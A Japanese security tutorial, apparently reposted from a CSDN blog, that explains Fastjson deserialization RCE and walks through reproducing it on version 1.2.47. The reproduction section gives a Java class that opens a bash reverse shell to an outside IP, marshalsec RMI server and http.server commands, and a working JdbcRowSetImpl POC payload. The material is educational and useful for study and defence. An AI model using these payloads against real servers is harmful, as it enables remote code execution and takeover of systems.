ネットワーク セキュリティの詳細な学習レッスン 7 - 一般的なフレームワークの脆弱性 (RCE-Fastjson デシリアライゼーションの脆弱性)


1. jsonとは何ですか?

json の正式名は JavaScript オブジェクト表記法です。つまり、JavaScript オブジェクト表記法では、キーと値のペアを使用して情報を保存します。

簡単な例は次のとおりです。

{
    
     
	"name":"BossFrank",
	"age":23, 
	"media":["CSDN","bilibili","Github"]
}

json は本質的に、情報の保存と交換に使用される文字列です。


2. Fastjson の概要

------ Fastjson は、Alibaba によって Java 言語のオープンソースで書かれた高性能で完全な JSON ライブラリです。Java オブジェクトを JSON 形式に変換 (シリアル化) でき、JSON 文字列を Java オブジェクトに変換 (逆シリアル化) することもできます。

------ 「想定順序付き高速マッチング」アルゴリズムを使用して、JSON Parse のパフォーマンスを極限まで向上させており、他のライブラリに依存せず、現在 Java 言語で最速の JSON ライブラリです。Fastjson は、キャッシュのシリアル化、プロトコルの対話、Web 出力、Android クライアントなどのさまざまなアプリケーション シナリオで広く使用されています。

  • 機能は次のとおりです。
    1) Java Bean の JSON 文字列へのシリアル化と、JSON 文字列から Java Bean への逆シリアル化をサポートできます。
    2) 名前が示すように、fastjson は JSON を非常に高速に処理します。
    3) 他のパッケージへの依存関係はありません。
    4) 使いやすくなりました。

3. Fastjson の歴史的な脆弱性

Fastjson <=1.2.24 逆シリアル化リモート コマンド実行の脆弱性
Fastjson <=1.2.41 逆シリアル化リモート コマンド実行の脆弱性
Fastjson <=1.2.42 逆シリアル化リモート コマンド実行の脆弱性
Fastjson <=1.2.43 逆シリアル化リモート コマンド実行の脆弱性
Fastjson <=1.2.45逆シリアル化リモート コマンド実行の脆弱性
Fastjson <=1.2.47 逆シリアル化リモート コマンド実行の脆弱
性 Fastjson <=1.2.62 逆シリアル化リモート コマンド実行の脆弱性
Fastjson <=1.2.66 逆シリアル化リモート コマンド実行の脆弱性


4. Fastjsonの機能

1.リクエストパッケージにはjson形式があります。

リクエスト パッケージに json 形式がある場合は、Fastjson が使用される可能性が高く、以下に示すように、
ここに画像の説明を挿入します
fastjson はデータを JSON 形式で解析してパッケージ化するために使用されるため、json 形式が出現する場合はどこでも使用できます。

2. エラー メッセージに fastjson という単語が表示されます。

リクエスト メソッドを post リクエストに変更し、送信する前に content-type リクエスト ヘッダーを application/json に変更してエラーを報告させると、エラー メッセージに fastjson という単語が表示されます。
ここに画像の説明を挿入します


5. Fastjson のシリアル化と逆シリアル化

  • Apple オブジェクトの価格が 0.5 であると仮定します。JSON 形式にシリアル化すると、
    {"Fruit":{"price":0.5}}となります。
  • iPhone オブジェクトの価格が 5000 であるとします。json 形式にシリアル化すると、
    {"Fruit":{"price":5000}}となります。

------ クラスにインターフェイスが 1 つしかない場合、このクラスのオブジェクトがシリアル化されると、サブクラスは消去され (apple/iphone)、インターフェイスの型 (Fruit) のみが保持され、最終的には変換中に元の型を取得することはできません。この例では、2 つの json を逆シリアル化して Java オブジェクトを生成すると、元のクラスが apple なのか iphone なのかを区別することができません。

------ 上記の問題を解決するために、fastjson は属性ベース (AutoType) を導入します。つまり、シリアル化中に、元の型が最初に記録され、キーを使用して元の型が記録されます@type

------この例では、

  • AutoType の導入後、JSON 形式にシリアル化された Apple クラス オブジェクトは次のようになります:
    { "fruit": { "@type": "com.hollis.lab.fastjson.test.Apple", "price":0.5 } }
  • AutoType の導入後、json 形式にシリアル化された iPhone クラス オブジェクトは次のようになります:
    { "fruit": { "@type": "com.hollis.lab.fastjson.test.iphone", "price":5000 } }

------ このようにして、逆シリアル化中に元のクラスを区別できます。

------ AutoType 関数を使用してシリアル化された JSON 文字には、文字の元の型をマークする @type が含まれます。この @type は、JSON コンテンツの逆シリアル化を試行するために逆シリアル化中に読み取られ、オブジェクトに対して呼び出されます。このライブラリのセッター メソッドまたはゲッター メソッド。ただし、@type クラスは悪意を持って構築されている可能性があります。必要なのは、適切に JSON を構築し、@type を使用して攻撃を実装する目的の攻撃クラス ライブラリを指定することだけです。


6. Fastjson デシリアライゼーションの脆弱性の原理

------ FastJSON はデシリアライズの際、対象クラスのコンストラクタ、ゲッターメソッド、セッターメソッド、is メソッドを実行する場合があり、この際にこれら 4 つのメソッドに危険な操作があるとデシリアライズを引き起こす脆弱性があります。これは、攻撃者によって渡されたシリアル化されたデータが、ターゲット クラスのこれらのメソッドの脆弱性をトリガーする必要があることを意味します。

------ 攻撃者はrmi 絶対パスを準備し、ルックアップ メソッドに挿入します。被害者の JNDI インターフェイスは、攻撃者が制御する rmi サーバーをポイントします。JNDI インターフェイスは、攻撃者が制御する Web サーバーに悪意のあるコードをリモートでロードし、実行しますrmi服务web服务RCE を形成するコンストラクター。


7. Fastjson デシリアライゼーションの脆弱性プロセス

一般的なものは、sun によって公式に提供されているクラス com.sun.rowset.JdbcRowSetImpl です。1 つの の受け渡しをサポートする dataSourceName メソッドがありますrmi的源。URL が解析される限り、リモート呼び出しがサポートされます。

  1. 攻撃者 (私たち) は、fastjson の脆弱性を持つターゲット マシンの Web サイトにアクセスし、burpsuite を通じてパケットをキャプチャおよび変更し、com.sun.rowset.JdbcRowSetImpl の悪意のある情報を json 形式で追加してターゲット マシンに送信します。
  2. 脆弱な対象マシンが json を逆シリアル化すると、構築した悪意のある情報が読み込まれて実行され (rmi サーバーにアクセスし)、対象マシンのサーバーは rmi サーバーに対してコマンドの実行を要求します。つまり、ターゲット サーバーは rmi サーバーに、どのコマンド (ターゲット サーバー) を実行する必要があるかを尋ねます。
  3. rmi サーバーは、リモート マシン (このリモート マシンは私たちが構築した悪意のあるサイトです。事前にエクスプロイト コードをコンパイルして .class ファイルを取得し、それを悪意のあるサイトにアップロードします) のクラスをロードするように要求し、コマンドを取得します。攻撃者 (私たち) によって構築された (ping dnslog、ファイルの作成、またはリバウンドシェルなど)
  4. rmi は、リモートでロードされたクラス (悪意のあるコード) をターゲット サーバーに応答として返します。
  5. ターゲット サーバーは悪意のあるコードを実行し、攻撃者によって悪用されることに成功しました。
  • 攻撃プロセス: リバウンド EXP の作成 -> HTTP サービスの有効化 -> LDAP サービスの開始 -> EXP のポートをリッスン -> ペイロードの実行

8. Fastjson デシリアライゼーションの脆弱性 (1.2.47) 手動再現

1. DNSlog検証の脆弱性が存在する

一時的なドメイン名を取得する
ここに画像の説明を挿入します

送信するPOCを構築する
ここに画像の説明を挿入します

DNSlog に戻って表示します
ここに画像の説明を挿入します

2. クラスの悪意のあるファイルをコンパイルする

まず、悪意のあるファイル Exp.java があり、これをクラス ファイルにコンパイルする必要があります。
ここに画像の説明を挿入します

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    
    
	static {
    
    
		try {
    
    
			Runtime rt = Runtime.getRuntime();
			String[] commands = {
    
    "bash", "-c", "bash -i >& /dev/tcp/119.91.209.244/9090 0>&1"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
    
    
			// do nothing
		}
	}
}

次に、javac を使用して Exp.class にコンパイルします。命令是:javac Exp.java

3. 悪意のあるファイルが存在するディレクトリで Web サービスを開きます。

Python を使用して Web サービスを開きます。ポートは 9100 です。

python3 -m http.server 9100
或
python -m SimpleHTTPServer 9100

ここに画像の説明を挿入します
ここに画像の説明を挿入します

4. 悪意のあるファイルが存在するディレクトリで rmi サービスを開始します。

  • 悪用ツール: marshalsec-0.0.3-SNAPSHOT-all.jar

コマンドは次のとおりです。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://119.91.209.244:9100/#Exp" 9299

ここに画像の説明を挿入します

5. リバウンドシェルのポートを監視します。

ここのポートは悪意のあるファイルに書き込まれたリバウンド ポートで、ここでは 9090 です。
ここに画像の説明を挿入します

6. フロントエンドに戻り、被害者が rmi ポートにアクセスできるように POC を構築します。

1.2.47 の POC:

{
    
    
"a":{
    
    
	"@type":"java.lang.Class",
	"val":"com.sun.rowset.JdbcRowSetImpl"
	},
"b":{
    
    
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.179.128:9999/TouchFile",
	"autoCommit":true
	}
}

ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここではシェルが正常にリバウンドしています。


7. まとめ

------ Fastjson リバウンド シェルの操作は、Log4j2 リバウンド シェルの操作と似ており、ステップ 2、3、4、5 はすべて攻撃側で操作され、ステップ 6 のみが通常のフロント エンドで操作されます。一方が ldap サービスを開き、もう一方が rmi サービスを開くだけです。

------上記の手順 6 で使用される POC は、バージョン 1.2.47 に対応する POC であり、バージョンが異なると POC が異なります。


おすすめ

転載: blog.csdn.net/p36273/article/details/132983886